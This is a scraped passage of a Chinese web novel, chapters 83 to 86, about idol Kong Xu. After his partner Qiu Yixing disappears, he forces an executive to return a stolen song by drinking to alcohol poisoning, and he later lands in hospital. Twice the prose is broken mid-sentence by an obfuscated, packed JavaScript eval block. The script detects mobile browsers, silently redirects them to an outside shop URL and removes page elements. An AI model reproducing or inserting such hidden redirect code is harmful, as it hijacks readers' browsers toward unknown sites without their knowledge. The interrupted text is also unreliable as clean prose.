他旁敲侧击地问柴晓驰知不知道邱以星考到哪里了,柴晓驰说邱以星没有填统计表,他不太清楚邱以星到底去了哪,柴晓驰当时纳闷地反问他:“他没告诉你么?” 孔栩报之以沉默。 孔栩因为联系不到邱以星而持续消沉,转眼大学开学,他抱着最后一丝期望,希望能在学校里偶遇邱以星。 孔栩搬进宿舍时还引起了一阵轰动,很多男孩女孩在他宿舍楼下等着,就为了见他一面,跟他合影什么的。 他不结交任何朋友,一周过去了,还不知道宿舍里究竟住着哪些人,他找人打听过,邱以星不在这所学校。 孔栩意识到邱以星违背了他的承诺,邱以星没有跟他来到同一个城市,没有来上同一所大学,邱以星是个骗子。 但很快,孔栩给邱以星找了借口,他是不是高考发挥失常,没脸来找我? 不——孔栩又想,这个可能性太低了。 他努力让自己别生气,项姐说了,让他们这周回公司,他想,那时候就一定能见到邱以星了。 可他等到的是邱以星与公司提前解约的消息。 邱以星本人也没有来。 陆笑蓉震惊地坐直:“怎么会……” 项汝怡万分无奈:“我跟他父母交涉了很长时间,那边不同意邱以星以任何方式留在公司。” 当初签约因为陈颂的缘故,违约金几乎可以忽略不计,因为项汝怡和陈闵都不知道陈颂会坚持多久,如果他半途不干了,也不用他赔偿,违约金只有个象征含义。 他们当时想,如果陈颂不干了,这个组合就会立即解散,搞不好还得反过来付其他成员违约金,所以就没再违约金上做文章。 项汝怡这次找他们来是商量以后要怎么办,邱以星和陆笑蓉如果退出组合,剩下他们三个人能够继续坚持下去?能坚持多久? 陈颂一只脚踏入了影视圈,他心思也不全在唱歌上了。 夏桃杉因为身体原因也萌生退意,她觉得比起流量与热度,还是这条小命最重要,这几年忙碌的工作占据了她生活的绝大部分,她也想学陆笑蓉彻底地休息一段时间,好好陪陪家人。 孔栩面无表情环顾四周:“……所以你们在等着我做决定?” 整个会议室里鸦雀无声,过了很久,项汝怡才说:“孔栩,我不是在逼你,目前局面就是这样,走了一个勉强还能撑一撑,两个三个就没有什么必要继续了。组合解散,但公司不会跟你解约,这个大家庭永远有你的一席之地。” “都随便吧,你决定就好。”孔栩说完这句话,起身离开了会议室。 他前脚刚走,后脚陆笑蓉就追了过来,陆笑蓉总觉得对他有亏欠,今天项汝怡的一番话也令她难以接受,更别说是孔栩了。 陈颂也从会议室里跑出来,他叫住孔栩,生怕他想不开:“要不这样,我们都暂时休整一段时间好不好?我跟我哥说一声,公司现在已经正常运转起来了,我们不用像之前那么拼命……” 孔栩在意的并不是这个,如果邱以星不在,他继续留在这个组合里又有什么意思呢? “你能不能帮我找到邱以星,”孔栩失去了所有的力气,满是疲惫地对陈颂说,“哪怕是给我打个电话,我想知道他究竟在干什么,想什么,给我一句话也好,我知道你有办法,算我……求你了。” 84. 第 84 章 公司宿舍,邱以星所有的东西都没有带走,给孔栩一种他还会回来的错觉。 他向学校请了一周家,每天窝在邱以星房间。 孔栩思考邱以星突然不见的原因,从“邱以星反悔跟他在一起,故意躲着他,宁愿放弃一切也要离开”,到“邱以星其实不是这个星球的人来着,他是个外星人,他的母星来人把他接走了。” 他成天昏头昏脑的,除了吃饭根本不出门,干等着陈颂的消息。 如此过了两天,陆笑蓉气势汹汹一脚踹开房间门,拉开厚重的窗帘,明亮的光线射穿孔栩刻意制造的幽深的洞穴,他像是一条水蛇从被窝里探出头,看清来人后,不情愿地哼哼唧唧:“……你干什么啊?” “我干什么?我还要问你干什么,就知道睡大觉,你没听过那句话吗?‘生前何必久睡,死后自会长眠’!”陆笑蓉见他穿着睡衣,直接将他被子给掀了,“出去晒晒太阳好吗?你都要发霉长蘑菇了。” “嗯。”光线刺眼,孔栩闭了闭眼,伸手去抓被子,喃喃说,“请你吃。” “谁要吃了!”陆笑蓉愤怒咆哮,“快点起来,我看徐如夜发了条跟庄淼吃饭的朋友圈,在陈年饭庄,你还不赶紧起来!” 孔栩这才睁开眼:“徐老师?” “没错,”陆笑蓉说,“他们还没走。” 孔栩和陆笑蓉如今是陈年饭庄的超级VIP,享受与陈颂同等的待遇。 两人一进门,大堂经理就前倨后恭地围着他们给他们介绍新近的菜色,带他们去包厢。 孔栩让经理忙别的事,不用管他们,自己是来找朋友的。 经理会意,笑着点点头,便走了。 随后孔栩给徐如夜打了个电话,电话没过几秒就接通,孔栩张口说:“徐老师,我没钱了,方便让我蹭个饭吗?” 徐如夜那边静了静,随即他笑起来:“你在门口?行吧,你进来,给你介绍几个人认识。” 孔栩来到徐如夜包厢门口,敲了敲门,和陆笑蓉走进门。 跟徐如夜也有段时间没见面了,徐如夜像是化石一样,完全看不出岁月的痕迹,三年前长这样,三年后还是长这样。 他很是儒雅地侧过脸,朝进门的孔栩和陆笑蓉略带笑意点了下头。 这一桌不仅有徐如夜、庄淼,还有华禹的蒋总监蒋常,还有一位戴着黑色镜框,不苟言笑,看着极为眼熟,孔栩总觉得在哪儿见过。 “是我,陆旷,在《声而逢时》的海选现场,我们见过一面的。”陆旷见孔栩没认出自己,主动出言提醒。 孔栩恍然大悟,他是那天坐在台下的评委,陈颂还说过此人坑过徐如夜,把这人气得够呛。 “陆老师好。”孔栩从善如流,给陆笑蓉拉了张椅子,坐在自己和徐如夜中间。 徐如夜点点头,此间他咖位最大,大家都觑着他脸色,好在徐如夜是个没架子的人,他对孔栩含着点笑说:“你们是专程卡着饭点来找我的么?” “是啊,徐老师,”孔栩喊服务员添两双筷子,不跟徐如夜见外,“我早饭没吃,都快饿昏头了。” 徐如夜闻言又加了几道菜,好笑地问道:“还吃佛跳墙吗?” “不了。”孔栩摆手,“没我想的那么好吃。” 徐如夜便把菜单递给陆笑蓉:“你呢,看看喜欢吃什么。” 陆笑蓉没心思看菜单,便摇摇头:“这些差不多了,我不是很饿。” 徐如夜对两个小辈的照顾有目共睹,看得出来徐如夜很喜欢他们。 蒋常自看见陆笑蓉进门口就略微有些不安,不过陆笑蓉好像真的只是路过吃顿饭的,一眼都没看他,这令他又悄悄松了口气。 陆笑蓉不看蒋常,是怕自己抑制不住火气,指着他鼻子破口大骂。 蒋常左侧坐着庄淼,庄淼左侧则是孔栩,孔栩忽略掉蒋常,友好地朝庄淼一点头:“你好。” 庄淼淡定地朝他点头:“你好。” 陆笑蓉一扯孔栩的袖子,清清嗓子,心说跟他说什么废话,张口就要大放厥词,但徐如夜却在她之前开口:“哦,对了,正要介绍你们认识。这是庄淼,是选秀出来的,他写歌挺有一手的,很有造诣,你应该跟他很有共同语言。” 这话一被打断,陆笑蓉忘记该说什么了,她飞速在脑中组织语言,看上去是一副高深莫测的模样。 庄淼心理素质简直是专业级别,八风不动,面不改色,从从容容地回答:“哪里哪里,徐老师您过誉了。” 徐如夜又对孔栩说:“你和邱以星之前不是也参加过海选?要是你们没退出,估计能和庄淼在赛场碰面,说不定还能成为朋友,像你和邱以星那样。” 孔栩闻言,眉目冷了下来,皮笑肉不笑地动了动嘴角。 陆旷对此有话聊:“没错,当时你们俩的表现很令我惊艳,结果被陈颂这小子挖走了。” 孔栩对此不置可否,视线转了一圈,终于把目光落在了蒋常脸上,他露出一个笑,故作吃惊地说:“蒋总,好久不见,上回跟您喝酒喝得很尽兴。” 说起这个蒋常就胃疼,上回他跟孔栩喝完酒后就完全断片了,吐得他不省人事,酒劲缓了三天才缓过来,真是被这小子给喝怕了。 “尽兴就好,尽兴就好。”蒋常声音不大,听起来气势弱了几分。 果不其然徐如夜皱了下眉毛,瞥了眼孔栩:“没看出来你还有这本事,学什么不好学人喝酒。” “哦,”孔栩笑眯眯地说,“徐老师,这您就有所不知了,做人得讲究一个人情世故,想在这个圈子里混,姿态不能太高太傲,喝酒而已,人家让我喝,我再推脱岂不是很不识抬举?这还要多亏了蒋总教我做人的道理。” 徐如夜一听他这话就明白了,孔栩是故意讲给他听的,搞得蒋常很不自在,一颗大光头在灯光下烤得几乎要冒出青烟。 孔栩没想让徐如夜替他抱不平,不过他看出来今天徐如夜在这,是他们有事要谈,或许是请徐如夜帮忙办什么事,徐如夜如今地位,不需要点头哈腰,自有无数人前仆后继地请他露脸出面。 徐如夜神情略微淡了些,点点头:“好了,吃你的吧。” 孔栩和陆笑蓉随便扒拉几口菜,期间徐如夜和庄淼聊起他新歌的事,看得出来徐如夜真挺欣赏庄淼的,说他工作室可以帮他录歌,后期宣传也不需要他操心,只管专心写歌。 蒋常听得心花怒放,一个庄淼能搭上徐如夜,简直不要太划算,他说:“徐老师,这周三我们就能录,您有空吗?” 徐如夜:“有空,到时候你们直接过来就行。” 听得孔栩百般不是滋味,他吃得半饱,按了下陆笑蓉的手,示意自己要开始了。 “徐老师,”孔栩喝了口水润嗓子,擦擦嘴,然后慢条斯理地说,“您也太偏心了,怎么就让庄淼录?认识这么多年,还没见您叫我们去您那坐坐。” “你们公司又不缺制作,用得着我吗?”徐如夜眉头一挑。 孔栩蛮不讲理,像个被惯坏的孩子一般,说:“徐老师,我也想去录。” 徐如夜:“你录什么,有歌了?” 孔栩:“有啊,您别这么看我,是邱以星的歌,他没来,我替他报个名。” 徐如夜饶有兴味地说:“邱以星?你又给他当话事人了。” “可以吗徐老师,”孔栩穷追猛打,“可以的吧。” “可以可以,”徐如夜笑,“你想什么时候来?” 孔栩:“这周三。” 庄淼闻言微微侧过头看他,心里不悦,可面上仍旧是一副泰然的样子。 徐如夜一顿,笑意隐去了,不知孔栩犯什么毛病:“你非跟人挤在一天?我没记错的话,你不是在学校上学?” “是啊,学上得辛苦,所以想出来转换一下心情。”孔栩说,“就这么说定了啊。” “你……”徐如夜有些无奈,看向蒋常,蒋常连忙改口:“我们这边能改时间,您看什么时候有空?” “我过几天要带团队去国外采风,”徐如夜犹豫了一下,“这周五怎么样?” 蒋常说:“可以的。” 孔栩立即说:“徐老师,我觉得周五这个日子吉利点,我们还是周五去吧。” 庄淼听了,察觉出来这个孔栩似乎对他很有敌意,不高兴地说:“我哪儿得罪你了吗?” 徐如夜往椅背上一靠,终于知道孔栩不是来吃饭,纯是来找茬的:“……你想说什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17273688|194219||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么,直说吧。” 陆笑蓉急得不行,终于在心里把话编排顺了,她横眉怒目,提起一口气,对着庄淼开喷:“你这人可真够不要脸的,拿了别人的歌重新填了个词就说是自己写的,我要是你这副厚脸皮就好了,以后出门横着走都不用看红绿灯,横竖撞不死。” 庄淼面皮紧了紧,强忍着不快问:“你在说什么?” 蒋常坐不住了,他腾地一下站起身,对着陆笑蓉劈头盖脸地骂道:“你在说什么鬼话,自己做的事不记得,跑这里撒野来了?”他撇过脸朝外喊道,“服务员!这里有人发疯,赶紧派保安过来把她带走!” 陆笑蓉坐着一动不动:“你大可以试试。” 服务员去请经理,经理带着五六个保安过来,一见是陆笑蓉,当即撤走了保安,点头哈腰地对他们说:“不好意思,打扰你们吃饭了。” 蒋常咆哮:“你听不见我说话吗?” 经理依旧维持着平和的假笑:“听见了先生,您声音很洪亮,在外面都听得一清二楚。不过这位是我们店里最尊贵的客人,除非是老板过来亲自轰人,我没有这个资格。如果您实在与这位客人无法共处一室,我建议您移步隔壁包厢。” “你是不是不想做生意了?”蒋常刻意压低声音,带着一丝隐隐的威胁,“你知道我是谁吗?” “本人孤陋寡闻,不知您是何方人物,至于生意的事情归老板管,我只是小小经理,插不上话的。”经理低眉敛目,说的没个字都在蒋常雷点上蹦跶,“您如果不愿移步隔壁包厢,现在可以直接买单走人,给您内部折扣价八点八八折哦。” 蒋常胸口剧烈起伏,嘴唇哆嗦着:“你他妈的给我滚。” “好的。”经理微微一笑,礼貌地重新带上门。 陆笑蓉耸耸肩,一摊手,极为可气地对蒋常说:“蒋总,请你小点声,注意素质,你这样会影响到其他人吃饭的。” 徐如夜见他们这一通闹,存了点看热闹的心思,问孔栩:“到底怎么了,跟我说说。再不说,我可要先走了。” 孔栩便将手机打开,点开一个音频,对徐如夜说:“您听听这首。” 熟悉的旋律响起来,是庄淼的新发那首歌,徐如夜听出来,眉头一动:“怎么了?” 孔栩说:“继续听。” 并非是庄淼那首的录音室版本,而是更加原始的钢琴版,没有混音,徐如夜听出不对劲,人声是邱以星的声音,他唱着另个版本的词,徐如夜甚至还听出这粗糙未经修饰的歌声里孔栩跟着音乐在轻哼。 “是你在弹?”徐如夜问。 孔栩点了下头。 徐如夜仰起头,似乎陷入深思。 蒋常连忙说:“徐老师,不是这样的,这歌是我们找他买的,白纸黑字都签了的。” 庄淼脸色青红交加,看向蒋常看,喉咙里挤出声音:“你当时可不是这么跟我说的!你不是说版权没问题吗?” 陆笑蓉暴怒:“明明是你拿了另外一份合同骗我!死骗子!大秃头!你会有报应的!” 她现在光脚不怕穿鞋的,以后不在这圈子里混了,自然是无所顾忌,对着蒋常破口大骂。 一直没存在感的陆旷看向陆笑蓉,又看向孔栩,孔栩不卑不亢地说:“蒋总,我今天来,是想把这首歌买回来,你当时花了多少钱,我付给你双倍。” 蒋常被气得简直要昏头了,大吼:“你做梦!” 孔栩沉静地看着他:“首先,我不想跟你彻底撕破脸,正在跟你好声好气地商量,你要是不愿意,我们就去打官司,我一定奉陪到底,你知道我们老板是谁吧?” “你还威胁上我来了?”蒋常气得直喘粗气,“你们老板是陈闵又怎样,他还能把我吃了?” 陆笑蓉嫌弃地说:“你也想太多了!” 孔栩说:“我没有威胁你,我的意思是我会跟你耗到底。我们公司如今蒸蒸日上,你保不齐以后有事求着我们老板,老板他在众多行业都有所建树,这饭店也是他的,他要是让你滚,也是一句话的事。” 蒋常脑瓜子嗡嗡作响,正想着怎么说接下来的话。 徐如夜这时非常状况外地说了一句话:“孔栩,你的琴音变了,你发现了吗?” 85. 第 85 章 孔栩愣了好几秒,才反应过来徐如夜在说什么,不过他自己没有注意到,于是老实摇头:“没有。” 当初被项汝怡请去教他们声乐,徐如夜没想着他们能混出多大的名堂来,他听孔栩弹琴总觉得差了那么点什么,他弹琴没孔栩弹得好,就不上赶着当人老师,跟他说了些有的没的,还建议他谈个恋爱增加人生阅历。 徐如夜有些感慨:“是什么改变了你?” 孔栩很是无奈:“徐老师,能等会儿聊这个吗?” 徐如夜诧异:“既然是邱以星的歌,他怎么没来?还是说他在路上?” 孔栩闻言明显有些低落:“他……我不知道。” 徐如夜看了他一会儿,然后伸手揉了揉孔栩的短发:“行了,这事我知道了。” 他看向庄淼,庄淼被针扎了似的,目光往后一缩,不过徐如夜并没有生气的意思,也不怪庄淼骗他,只问他:“小庄,这事你打算怎么处理?” 庄淼本想揣着明白装糊涂,可这糊涂实在是装不下去了,泄了气:“该怎么处理怎么处理,这歌我以后不会再唱。” 徐如夜点点头,又看向蒋常:“蒋总,您看呢?” 蒋常今天实在是丢了好大一翻脸,被个两个毛都没长齐的小孩骂得狗血喷头,还是当着徐如夜的面,这口气他岂能咽下去? 他梗着脖子,没有说话,陆旷从旁帮腔:“好了老蒋,这事你做得也不厚道,不怪人孩子说你。” 蒋常一张大饼脸几近熟透,陆笑蓉还要说:“是呀,要是换做我做出这种丑事,就去找口水井,自行了断了。” 孔栩淡淡地制止了陆笑蓉唱红脸的行为,心平气和地看着他:“蒋总,趁着事情没有闹大,我建议今天,在这个桌子上将事情彻底解决。不瞒你说,这首歌对我来说意义非凡,我不愿意让它以另外的形式被其他人占有,我有充足的人证和物证,也有时间和金钱跟你耗,而且你也知道,这件事如果被我爆出来,舆论会是什么情况。不仅仅是庄淼还有你,甚至于你们的公司都会被牵连。当然了,我虽然讨不到什么好处,但你们绝对比我的处境更糟糕。” 他这么一分析利害关系,没有咄咄逼人的架势,令蒋常头脑也逐渐镇定下来。 蒋常仍然板着脸,他承认当初陆笑蓉联系他说有首歌卖他时,他心思活泛动了歪脑筋,这个小丫头片子看上去很缺钱,缺钱的人为了钱有什么是不肯做的呢?于是他一不做二不休,把她当成了一位普通枪手,甚至想,如果她生气,大不了再给她一笔封口费。 实在是没料到还有今天这出,如果他能预知未来,死活是不会再搞小动作。 可他没有特异功能,事已至此,徐如夜还在等他的后文。 孔栩见他这副欲言又止的模样,继续说:“蒋总,今天我们不请自来,说了一些冒犯您的话,请您不要在意,就当是小辈们不懂事在胡言乱语,我敬您一杯。” 蒋常见他拿过一只酒杯,嘭的撬开酒瓶,往杯里倒了满满一杯清酒,要敬蒋常。 孔栩一口气喝完,陆笑蓉拽了下他袖口,带着不快:“好了,你怎么还喝起来了。” 徐如夜见他这一杯诚意满满,心中也有些愤慨:“孔栩,你坐下来吧,我还没喝,你就喝上了。” 孔栩没有理会他们,只盯着蒋常,目光灼灼等待蒋常的回音。 可蒋常是个小肚鸡肠,尖酸地说:“一杯就够了?” 徐如夜抬头,护犊子心切:“你还想怎么样?没看见他都喝这么一大杯了?” “徐老师,这件事跟您没关系,”蒋常说,“而且他真的非常能喝,一杯清酒根本算不了什么。” 他们点了清酒,不过没人动,几个除了蒋常都是搞音乐的,很珍爱自己的嗓子。 徐如夜不欲跟他废话,站起身,拿起挂在一边的外套,对孔栩说:“走了,我送你们回去,别学大人那一套糟粕。这事我找陈闵直接跟华禹的老板去说,用不着你在外面跟人喝酒。” 孔栩摇头:“我自己能解决,不需要老板帮忙。” 他知道自己斤两,没有那个金刚钻,他也不会揽这个瓷器活,之前喝酒他就跟喝水一样,没什么其他感觉。 “孔栩。”徐如夜面色一沉,“你走不走?” “徐老师,我没事,喝几瓶酒而已,您坐着我表演给您看。” 徐如夜简直要被气笑了:“你还要表演?” 蒋常觉得他在挑衅自己,翻开菜单,指着酒水的那一页,手指头从上划到下:“你把这些都喝了,我就同意把歌还你,一分钱不要。” 陆笑蓉:“我靠,你疯了吧?!” 孔栩:“没问题,在座都是证人,你说话算话。” 蒋常压根不信孔栩这么能喝,这么多酒喝完不得原地升天?他只是为了给自己稍稍掰回一点面子,结果孔栩满口应下来。 他不屑地冷哼一声:“算话。” 酒一点不好喝,喝到最后他的舌头根本不知道嘴里的液体究竟是什么滋味。 苦的,辣嗓子,又或者呛人,涩的,甜口的像饮料……孔栩一口气喝了个饱,打了个酒嗝。 陆笑蓉惊恐地抱住酒瓶:“小木鱼,你别喝了,你喝太多了,再喝真会出事的。” 孔栩酒量确实不错,眼睛还能认清楚人,知道陆笑蓉一副要哭的样子,他安慰说:“我没事,就几瓶了。” 徐如夜叹了口气:“你在跟谁赌气?” 孔栩说:“……我没有。” 蒋常骂道:“你是不是脑子有病?” 孔栩摇头:“我没病。” 蒋常:“你他妈真是有病!” 饶是孔栩再能喝,也感觉到明显的不适,他去了一趟洗手间,回来后握着一瓶酒的颈口,眼睛发花,将酒瓶重重地按在了桌上。 庄淼抿着嘴一言不发,陆旷推了推镜框,忧心忡忡地看了徐如夜一眼:“你不劝劝?” 徐如夜没好气地说:“你聋了?我劝了他听吗?一个两个都是不省心的东西,陆笑蓉你去外面给项汝怡打电话,把这玩意接走。” 陆笑蓉得了命令,转身就走,孔栩大声叫住她:“陆笑蓉,你别动!” “还有最后两瓶,”孔栩撑着身体缓了片刻,他用尽此生最大的意志力,慢慢地开口说,“姓蒋的……如果你说话不算话,桌上的这些酒瓶我会挨个让你吃下去。” 蒋常的身体晃了晃,比喝了十多瓶酒的孔栩站得还要不稳,他冷汗浸透后背,这是人能干出来的事吗?他是一点儿也不怕死啊! “好了好了,你别喝了!”蒋常慌忙按住孔栩的手,飞快地说,“可以了!别喝了!我怕了你了!你的要求我答应,那个谁快打120,送他去医院洗胃!” 陆笑蓉早给项汝怡发了消息,项汝怡已经在过来的路上,救护车也在路上了。 孔栩听到蒋常给他的保证,身心骤然间一松,感觉眼前一片白茫茫,不知道自己接下来该干什么。 他喝了太多,多到远远超出他能承受的范围,不曾感受过的强大酒劲像是一根擎天巨指按住蚂蚁一样,将他按趴。他只觉得浑身都好痛,头好痛,胸口喘不上气,胃里烧起一把猛烈的火,让他深深地弯下腰,很是狼狈地干呕一声。 “我要去……”孔栩捂住嘴,眼泪不受控制地滴落,“我……” “他要吐,我送他洗手间。”徐如夜半抱着孔栩去了洗手间,陆笑蓉紧紧跟在后面,站在门口焦虑地等。 孔栩吐了个昏天黑地,好像五脏六腑也要随之流出来。 嗓子口灼痛到他暗自发誓这辈子都不要再喝一滴酒。 吐了半天,孔栩觉得好过一点,知觉也稍微回来了,他感受到自己上衣的口袋一直在震。 什么东西在动来动去的?孔栩缓缓地思考,眨了下满是泪水的眼睫毛,继而想到,是他的手机。 孔栩跪坐在地上,拿出手机,看到来电显示人是:邱以星。 他没反应过来,手指就自动滑到接通键,然后他哑着嗓子喊道:“邱以星……” 孔栩的头实在是疼得难以招架,他靠着洗手间窄小的墙壁,微微地喘着气,目光迷离地盯着白色墙壁,想自己要说些什么。 “邱以星……邱以星,我刚刚把你的歌要回来了,你是因为这件事心情不好吗?你别生气了好不好啊,”孔栩一个字一个字地想着说,额头贴着冰冷的瓷砖,半天才把这句话说完,“你在哪里?我好难受……” 那边突然间响起好大的嘈杂,像是很多人一齐在大声说话,他艰难地分辨出了陈颂还有尚阿姨和邱叔叔的声音,还有几个声音没听过,有些远,严厉的斥责,几乎像在骂人。 听不清楚他们在吵什么,孔栩没耐心听,追问说:“邱以星,你现在在哪?我好想见你……” “孔栩。”邱以星喊他的名字。 孔栩轻轻“嗯”了一声,他太想念邱以星的声音,没有说话,等邱以星再度开口,邱以星说:“孔栩,你别多管闲事,你以为你是我的谁?” 孔栩握着手机的手指一颤,他没听明白似的,睁开恍惚的双眼:“邱以星……” 那边是陈颂劈头盖脸的怒骂:“你在说些什么,手机给我,闭上你的嘴!” 邱以星置若罔闻,继续说:“孔栩,真没想到,你竟然这么在乎我。不过想想之前跟你住一起的日子,我忽然觉得有些反胃——” 接下来是几声闷闷的撞击声,听起来像是陈颂揍了邱以星几拳,手机也被陈颂夺走了,陈颂喘着粗气,对孔栩说:“你别听他胡说八道,项汝怡呢?给她打电话打不通,我有事跟她说!” 孔栩的手机从他掌心滑落,那股时断时续的思绪终于停止流动。 他闭上了眼睛。 孔栩到第三天才彻底清醒,他躺在病床上,从他这个视角能看见一小块切割成方形的蓝到发亮的天空。 他住的单人病房,屋子里一个人也没有,他感觉口渴,想叫人给他倒杯水,结果张开嘴,竟然说不出来话了。 没关系,孔栩望着吊瓶,看瓶中的液体一滴一滴地落下来,心想,没有关系。 他不想回忆,不想想自己昏迷期间和这之前发生的事,他只是安静地一动不动地望着吊瓶,好似在吊瓶里看见了另外一个宇宙,符合他心意,符合他想法,能够让他继续喘息的宇宙。 可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17282275|194219||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是事与愿违,项汝怡推开门走了进来,她身后还跟着几位来查房的医生,对孔栩的醒来并不意外,对孔栩哑了也不意外,吩咐了一些注意事项,尤其是饮食要清淡。 他喝酒喝到酒精中毒,浑身上下过敏起疹子,一直在输液治疗。 做了相关检查,医生说他没有什么大问题,再歇几天嗓子就会复原,但他这次喝酒过量,导致肝脏受损,以后再也不能喝酒。 医生说完就离开了,屋子里只剩项汝怡和孔栩。 项汝怡低头摸了摸孔栩的额头,他明明并没有发烧,可项汝怡却神色哀恸地看着他:“他们昨晚才走,我让他们先回去了,下午他们再来看你,你想不想喝水?” 孔栩点点头。 项汝怡给他倒了一杯温水,动作轻柔地扶起他后脑,给他喂了一点水。 孔栩觉得这水简直是甘霖,咬着杯子不放,项汝怡便微微抬着纸杯给他喝干净了。 “待会儿再喝,不要一口喝太多。”项汝怡给他擦擦嘴唇上的水迹,又给他掖掖被角,在这难以令人忍受的沉默中,她开口说,“我给你妈妈打电话,她说在外地旅游,赶不过来,让你醒了给她回个电话,你说不出话我给她发条短信好不好?” 孔栩使劲清嗓子,终于清出一点微弱的声音,哑且低,不仔细听根本听不出来他在说什么。 项汝怡凑过,努力辨认他在说:“我自己给她回。” 项汝怡心酸极了,把手机拿给他,孔栩给何斯清回了电话,何斯清接了,问他:“你现在好点了?” 孔栩“嗯”一声。 何斯清并非对他完全不在意,至少如果他病得快死了,她还是会过问,会关心。 “我有件事要告诉你。”何斯清说。 孔栩:“嗯?” “我要结婚了,在下个月,国庆节的时候。”何斯清沉默了几秒钟,“你来不来?” 孔栩说:“……来。” 何斯清松了口气:“我现在不在岚江,等我回去,去看看你。” 孔栩:“好。” 项汝怡见他的手微微颤抖,等他挂了电话,又将他的手塞进被子里:“孔栩。” 孔栩看向她。 项汝怡欲言又止好几次,孔栩知道她有要事说,但他此刻什么都不想听,于是简单明了地闭上了眼睛。 “孔栩,”项汝怡像是没明白他的意思,还是说,“公司发了组合的解散公告,但你还是公司的艺人,我也永远都是你的经纪人,你先好好休息,学校那边我给你请了病假。还有邱以星……他以后不会再来公司,你不要等他了。” 孔栩抓起被子往头上一蒙。 他万分遗憾自己没在那天之后彻底聋掉,不然他就能听不见这些消息了。 之后他正常出院,回到学校上课。像所有普通的大学生一样,每天三点一线,周末偶尔去图书馆,拿本书坐在有阳光的窗户旁,一坐就是就是一天。 他的生活规律且健康,比他高中三年清闲不知多少倍。 寝室室友也都是好相处的人,见他请病假回来,对他格外关照,孔栩接收到他们友好的信号,给他们每个人送了昂贵的礼物,他们经常约着一块打球或者爬山或者吃饭。 他不像之前那样孤僻,总是一个人。 有天傍晚,天色逐渐暗下来,天边飘着一大片粉紫色的云霞,看上去美极了。 孔栩和室友吃完饭,来到操场散步,看见操场上闹哄哄地围了好几圈人。 走进一看,有人用蜡烛摆了一个很大的爱心,正在表白。 男生抱着一把吉他,深情款款地边弹边唱着情歌,女孩子站在他面前掩着嘴,害羞又惊喜。 周围是此起彼伏的起哄声,女孩子点了头,和男孩紧紧拥抱在一起。 室友一直在看热闹,乐呵呵地将目光转到孔栩身上:“他唱的是你们的情歌诶,你说你算不算是他们的月老?” 孔栩没有作声。 他看着地上那一圈蜡烛跃动的明亮的火苗,眼球轻轻一颤。 “你怎么不去谈个恋爱?追你的人那么多,”室友撞了撞孔栩肩膀,“我们班的班花对你挺有好感的啊,人大方还长那么漂亮,你不考虑考虑啊。” 孔栩说:“不了。” “哦呦,那你喜欢什么样的?也对,你在娱乐圈见过那么多好看的,估计审美疲劳了吧。” 孔栩强行压抑着不让释放出来的记忆在顷刻间井喷,他脑中闪过无数的画面,和邱以星在学校的,和邱以星在琴房的,和邱以星在公司的,和邱以星在舞台上的,和邱以星在出租屋的……他生命里最为重要的那些时刻,最为无法割舍的时刻,每分每秒,都有邱以星的参与。 然后邱以星像是一阵风一样,消失了。 眼前那火苗持续地燃烧,在他心口缓缓烧出一个很大的空洞。 孔栩没有回答室友的话,一直等到周围的人渐渐散去,那一圈蜡烛也被人熄灭,带走。 弹吉他的男生也牵着女生的手离开了。 烛有烬,曲有终,人生长在别离中。① 直到此刻他才意识到,他的少年时代一去不返了。 86. 第 86 章 孔栩被邱以星紧扣手掌心,一路狂奔到岚江大桥下方笔直的公路旁。 春夏交替之际,空气隐隐地燥热,平滑如镜的江面上倒映着周围高楼的影子,灯火在水里辉煌。 往日与邱以星相处过的回忆纷至沓来,孔栩竟一时分不清今夕何夕。 他向来疏于锻炼,跑得上气不接下气,弓腰撑着两膝直喘,对邱以星摆了摆手,示意自己跑不动了。 邱以星这个怪物竟然脸不红气不喘,朝他递出一只手,语气平常地问:“要不要背?” 孔栩无视邱以星的手,转身掏出手机给唐烨打电话,喘得很急:“定位发你,马上来接我。” 他挂了电话,与邱以星面对面站着,一时间相对无言。 孔栩错开与他相交的视线,将目光投向广阔的江面,此时邱以星朝他走近一步,开口打破了沉默:“你要走了?” 孔栩实在没什么话好跟邱以星说的,他两手插着兜,紧紧地抿着嘴唇,休闲西装的下摆起了褶皱,孔栩脚后跟一转,留给邱以星一个饱满的后脑勺。 邱以星要把孔栩的后脑盯穿了,孔栩都没回头看他一眼,直到唐烨赶过来。 唐烨把车停到孔栩面前,下车替他打开车门,又将他从头到脚细致地打量一遍,确认他完好无损后,松了口气:“回去吗?” 孔栩微微一点头。 “那他呢?”唐烨看向邱以星。 孔栩目不斜视地坐进车后座,面无表情地说:“开你的车。” 唐烨懂了,忙不迭坐进驾驶座,他看了眼后视镜,邱以星站在原地,目光罩在他们这辆车上,他一面开着,一面不时瞄后视镜一眼,看见邱以星飞速变成一个一动不动的小点。 孔栩:“专心点。” 唐烨这才把视线收回,老老实实地看前方。 他有很多话想问孔栩,不过看孔栩的脸色不太好,他就把话都咽了回去。 孔栩来唐子宜酒吧驻唱,本就不是明智之举,唐子宜那里鱼龙混杂,什么人都有,这热搜一上,接下来很长一段时间都不会消停。唐子宜想赚钱无可厚非,可她怎么还把主意打到孔栩身上来了。 唐烨打算再劝劝孔栩,于是他说:“孔栩,明天就别来了。你看今天这阵仗,太可怕了,唐子宜这边安保又不够,你的安全她负不了责任。你还记得前几年被人跟踪的事吧?” 